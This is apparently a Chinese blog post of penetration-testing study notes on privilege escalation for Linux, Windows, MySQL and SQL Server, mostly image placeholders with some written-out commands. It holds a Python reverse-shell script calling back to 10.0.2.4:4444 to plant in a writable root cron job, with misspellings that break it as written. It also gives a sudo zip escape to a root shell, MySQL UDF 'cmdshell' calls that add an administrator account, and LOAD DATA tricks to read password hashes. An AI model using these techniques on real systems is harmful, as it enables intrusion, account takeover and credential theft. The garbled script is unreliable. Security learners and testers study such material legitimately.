渗透测试-提权专题

渗透测试-提权专题

  • 提权介绍
  • 提权前提:
  • Linux提权
    • 内核漏洞提权-首选考虑
    • 明文root密码提权
    • 计划任务
    • 密码复用
  • 05 提权与内网渗透
    • 第三章 数据库提权
      • 第一节 SQL Server数据库漏洞利用与提权
      • 第二节 MySQL数据库漏洞与提权
        • mysql root权限下 提权
        • UDF 提权执行系统命令
          • - windows 提权前提
  • Mysql的用户在没有File权限情况-低权限拿到root密码
    • Windows Smb 重放 / 中继 利用
    • CTF-高难度内核提权
    • windows EXP提权
    • EXP溢出提权(不可以使用技巧/无障碍提权)
      • shell 连接
    • 处理下virualbox 与物理机联通问题
    • 创建环境
    • mysql5.1------Linux提权
  • #1 简单纵深打击
  • 第一章 初见提权
    • 第一节 提权概述
      • 基础命令
        • 查看用户登录情况 query user
        • 数据库提权
    • 第二节 基于密码破解的提权
      • 哈希获取破解
      • 局域网 arp 、 dns 劫持 嗅探

提权介绍

往往 拿下服务器的web服务只是具有低权限用户(www-data)
对于内网渗透,我们需要提权到root
提升权限是非常关键的一步,
攻击者往往可以通过利用内核漏洞/权限配置不当/root权限运行的服务等方式寻找突破点,
来达到提升权限的目的。

linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。

提权前提:

  • 已经拿到低权shell
  • 被入侵的机器上面有nc,python,perl等非常常见的工具
  • 有权限上传文件和下载文件

Linux提权

内核漏洞提权-首选考虑

先查看是否可以使用内核漏洞进行提权。先对系统做个了解

 #查看发行版本
cat /etc/issue
cat /etc/*-release
# 查看内核版本
uname -a


# 查看系统发行版本  Ubuntu 
lsb_release -a 

寻找内核溢出代码使用searchsploit
渗透测试-提权专题_第1张图片

 gcc xxx.c -o exploit
chmod +x exploit
./exploit 
 

内核溢出的提权,不过一般用不上。

明文root密码提权

大多linux系统的密码都和/etc/passwd、/etc/shadow这两个配置文件相关的;
passwd里面储存了用户,
shadow里面是密码的hash;
且passwd是全用户可读,root可写。
shadow是仅root可以进行读写的。
破解linux用户名和对应的密码

使用John这个工具来破解。
可以在root权限下查看密码(前提是不知道root密码)

计划任务

系统内可能会有一些定时执行的任务,
一般这些任务由crontab来管理,
具有所属用户的权限。

非root权限的用户是不可以列出root用户的计划任务的。
但是/etc/内系统的计划任务可以被列出
默认这些程序以root权限执行,
如果刚好遇到一个把其中脚本配置成可以任意用户可写的,
这个时候就可以修改脚本等回连rootshell;
如果定时执行的文件时python脚本,可以使用下面的脚本来替换之前的脚本。

#!/usr/bin/python
import os,subprocess,socket

s=socket.socekt(sicket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.4","4444"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

查看/etc/crontab 有无可写权限的文件
渗透测试-提权专题_第2张图片

密码复用

linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入,
也就是说sudo在输入密码的时候本质是读取键盘,而不是bash里面的字符。
因此要输入密码,还需要一个终端设备。python有这种功能的,就是模拟化终端,输入

python -c "import pty;pty.spawn('/bin/bash')"

渗透测试-提权专题_第3张图片
看到是已经启动了虚拟终端
ssh 登录
ssh xxx@ip

利用zip进行提权
sudo -l查看了当前可以使用root提权的命令信息。

Matching Defaults entries for zico on this host:
    env_reset, exempt_group=admin,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zico may run the following commands on this host:
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /usr/bin/zip
 

可以使用zip进行提权

touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

渗透测试-提权专题_第4张图片

05 提权与内网渗透

第三章 数据库提权

第一节 SQL Server数据库漏洞利用与提权

渗透测试-提权专题_第5张图片渗透测试-提权专题_第6张图片

渗透测试-提权专题_第7张图片
渗透测试-提权专题_第8张图片
在这里插入图片描述
在这里插入图片描述
渗透测试-提权专题_第9张图片渗透测试-提权专题_第10张图片
渗透测试-提权专题_第11张图片
渗透测试-提权专题_第12张图片
渗透测试-提权专题_第13张图片
渗透测试-提权专题_第14张图片渗透测试-提权专题_第15张图片
dbo 权限 备份数据库 不可以 执行命令

渗透测试-提权专题_第16张图片
渗透测试-提权专题_第17张图片
渗透测试-提权专题_第18张图片
渗透测试-提权专题_第19张图片
SESHELL
mdb 注册表 操作 执行命令

渗透测试-提权专题_第20张图片
渗透测试-提权专题_第21张图片
渗透测试-提权专题_第22张图片
渗透测试-提权专题_第23张图片
渗透测试-提权专题_第24张图片
渗透测试-提权专题_第25张图片

第二节 MySQL数据库漏洞与提权

渗透测试-提权专题_第26张图片
渗透测试-提权专题_第27张图片

mysql root权限下 提权

安装问题
默认在 系统管理员 下 安装

以服务 启动

渗透测试-提权专题_第28张图片
渗透测试-提权专题_第29张图片
渗透测试-提权专题_第30张图片
渗透测试-提权专题_第31张图片
渗透测试-提权专题_第32张图片
渗透测试-提权专题_第33张图片
在这里插入图片描述
渗透测试-提权专题_第34张图片
渗透测试-提权专题_第35张图片
渗透测试-提权专题_第36张图片
渗透测试-提权专题_第37张图片
渗透测试-提权专题_第38张图片
渗透测试-提权专题_第39张图片
渗透测试-提权专题_第40张图片
备份数据库 就 会有 文件

渗透测试-提权专题_第41张图片
渗透测试-提权专题_第42张图片
渗透测试-提权专题_第43张图片

渗透测试-提权专题_第44张图片
mof 定时 都可以 提权

渗透测试-提权专题_第45张图片
在这里插入图片描述

远程 执行命令 反弹 shell 回来 *(攻击机 监听端口 )

渗透测试-提权专题_第46张图片
渗透测试-提权专题_第47张图片
渗透测试-提权专题_第48张图片
在这里插入图片描述
渗透测试-提权专题_第49张图片
渗透测试-提权专题_第50张图片
渗透测试-提权专题_第51张图片

UDF 提权执行系统命令

● Linux UDF
通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限

sleep(),sum(),ascii()

用户自定义函数
自己写方便自己函数,它有3种返回值,
分别是STRING字符型,INTEGER整型,REAL 实数型
  


-掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限

版本大于5.1的udf.dll放到mysql安装目录的libplugin文件夹才能创建自定义函数。目录默认是不存在的需要自己创建,在安装目录下创建libplugin文件夹,然后将udf.dll导出到这个目录。
- windows 提权前提

mysql版本大于5.1,
udf.dll文件必须放置在mysql安装目录的lib plugin文件夹下

mysql版本小于5.1,
udf.dll文件在 windows server 2003下放置于c:windows system32目录,
在windows server - - 2000下放置在c:winnt system32目录。

渗透测试-提权专题_第52张图片

 首先、查看一下MySQL是32位的还是64位的,查看这个有几种方式:
mysql -V
mysql --version
进入MySQL数据库中,执行: 


show variables like '%datadir%';
-- C:\ProgramData\MySQL\MySQL Server 5.7\Data\


show variables like '%version_%';



渗透测试-提权专题_第53张图片

渗透测试-提权专题_第54张图片

 create function cmdshell returns string soname 'udf.dll' 
select cmdshell('net user iis_user 123!@#abcABC /add'); 
select cmdshell('net localgroup administrators iis_user /add'); 
select cmdshell('regedit /s d:web3389.reg'); 
drop function cmdshell; 
select cmdshell('netstat -an'); 

渗透测试-提权专题_第55张图片
渗透测试-提权专题_第56张图片
渗透测试-提权专题_第57张图片
渗透测试-提权专题_第58张图片
在这里插入图片描述
渗透测试-提权专题_第59张图片
渗透测试-提权专题_第60张图片
渗透测试-提权专题_第61张图片
渗透测试-提权专题_第62张图片

渗透测试-提权专题_第63张图片
渗透测试-提权专题_第64张图片
渗透测试-提权专题_第65张图片
渗透测试-提权专题_第66张图片
渗透测试-提权专题_第67张图片
渗透测试-提权专题_第68张图片

  • 要求 root 权限

  • mof 是 win系统自带 漏洞

Mysql的用户在没有File权限情况-低权限拿到root密码

Mysql漏洞利用(越权, 从低权限拿到root密码)

无法通过Load_file读文件
或者通过into dumpfile 或者into outfile去写文件

通过load data infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件

读取mysql的数据库文件,mysql库的user表里存放着所有用户的hash

渗透测试-提权专题_第69张图片

 LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';  
 
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by ''; 

select * from test2;

渗透测试-提权专题_第70张图片

用winhex打开一下user.myd文件
渗透测试-提权专题_第71张图片
被00字符给截断了,导致后面的东西都没进数据库。
下面就想办法绕过这个限制。
经过几次尝试发现,在后面加上LINES TERMINATED BY ‘’ 即可,这样子就把截断符号作为分隔符处理了,完整的语句

 
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY ''; 

渗透测试-提权专题_第72张图片

Windows Smb 重放 / 中继 利用

渗透测试-提权专题_第73张图片
渗透测试-提权专题_第74张图片
渗透测试-提权专题_第75张图片
渗透测试-提权专题_第76张图片
渗透测试-提权专题_第77张图片
渗透测试-提权专题_第78张图片
渗透测试-提权专题_第79张图片
渗透测试-提权专题_第80张图片
渗透测试-提权专题_第81张图片
渗透测试-提权专题_第82张图片
渗透测试-提权专题_第83张图片
渗透测试-提权专题_第84张图片
渗透测试-提权专题_第85张图片
渗透测试-提权专题_第86张图片
渗透测试-提权专题_第87张图片渗透测试-提权专题_第88张图片
渗透测试-提权专题_第89张图片渗透测试-提权专题_第90张图片渗透测试-提权专题_第91张图片渗透测试-提权专题_第92张图片
渗透测试-提权专题_第93张图片
渗透测试-提权专题_第94张图片渗透测试-提权专题_第95张图片
渗透测试-提权专题_第96张图片
渗透测试-提权专题_第97张图片

渗透测试-提权专题_第98张图片

CTF-高难度内核提权

渗透测试-提权专题_第99张图片渗透测试-提权专题_第100张图片渗透测试-提权专题_第101张图片渗透测试-提权专题_第102张图片渗透测试-提权专题_第103张图片
在这里插入图片描述渗透测试-提权专题_第104张图片
渗透测试-提权专题_第105张图片渗透测试-提权专题_第106张图片渗透测试-提权专题_第107张图片渗透测试-提权专题_第108张图片渗透测试-提权专题_第109张图片渗透测试-提权专题_第110张图片渗透测试-提权专题_第111张图片在这里插入图片描述渗透测试-提权专题_第112张图片渗透测试-提权专题_第113张图片 渗透测试-提权专题_第114张图片渗透测试-提权专题_第115张图片在这里插入图片描述渗透测试-提权专题_第116张图片渗透测试-提权专题_第117张图片渗透测试-提权专题_第118张图片渗透测试-提权专题_第119张图片渗透测试-提权专题_第120张图片渗透测试-提权专题_第121张图片渗透测试-提权专题_第122张图片渗透测试-提权专题_第123张图片在这里插入图片描述渗透测试-提权专题_第124张图片渗透测试-提权专题_第125张图片渗透测试-提权专题_第126张图片渗透测试-提权专题_第127张图片渗透测试-提权专题_第128张图片渗透测试-提权专题_第129张图片渗透测试-提权专题_第130张图片渗透测试-提权专题_第131张图片渗透测试-提权专题_第132张图片渗透测试-提权专题_第133张图片渗透测试-提权专题_第134张图片

windows EXP提权

EXP溢出提权(不可以使用技巧/无障碍提权)

exploit —>windows溢出利用

shell 连接

虚拟连接提权

  • 中国菜刀
  • 蚁剑
  • 大马shell 执行命令 dir

一句话木马提权


在这里插入图片描述在这里插入图片描述

处理下virualbox 与物理机联通问题

在这里插入图片描述

创建环境

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


  1. 查看权限 whoami systeminfo (补丁)
  2. 提升权限 net user xxx xxx /add net localgroup
  3. 查看端口 tasklist /svc netstat -ano

在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 暂时将就 下吧 C盘文件
    在这里插入图片描述在这里插入图片描述
  • 查看补丁
    在这里插入图片描述
  • 补丁程序 暂缺
  • 为所欲为

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

  • 无意间 发现了个 工具

mysql5.1------Linux提权

#1 简单纵深打击

渗透测试-提权专题_第135张图片

通过资产扫描弱口令    FTP  Mysql   Redis   ssh   RPC 

渗透测试-提权专题_第136张图片
渗透测试-提权专题_第137张图片在这里插入图片描述

 由于 root 权限  免了低高权限 UDP 提权

i春秋\05 提权与内网渗透\

第一章 初见提权

第一节 提权概述

渗透测试-提权专题_第138张图片
渗透测试-提权专题_第139张图片
渗透测试-提权专题_第140张图片
渗透测试-提权专题_第141张图片
渗透测试-提权专题_第142张图片
渗透测试-提权专题_第143张图片
渗透测试-提权专题_第144张图片

基础命令

查看用户登录情况 query user

渗透测试-提权专题_第145张图片

渗透测试-提权专题_第146张图片
渗透测试-提权专题_第147张图片
渗透测试-提权专题_第148张图片
渗透测试-提权专题_第149张图片
渗透测试-提权专题_第150张图片
渗透测试-提权专题_第151张图片

脏牛漏洞

第三方软件 提权 - pr提权

数据库提权

sqlserver SA xp cmd shell

mysql udf 插件提权 确权MOF 替换文件 提权

dll文件 加载

ftp 输入法 vnc 配置

输入法 替换exe 重启 自动加载

  • webshell 是根据 中间件 安装时 的权限 所依据的

渗透测试-提权专题_第152张图片

第二节 基于密码破解的提权

渗透测试-提权专题_第153张图片
渗透测试-提权专题_第154张图片

哈希获取破解

渗透测试-提权专题_第155张图片
渗透测试-提权专题_第156张图片

局域网 arp 、 dns 劫持 嗅探

你可能感兴趣的:(渗透测试,linux,运维,服务器)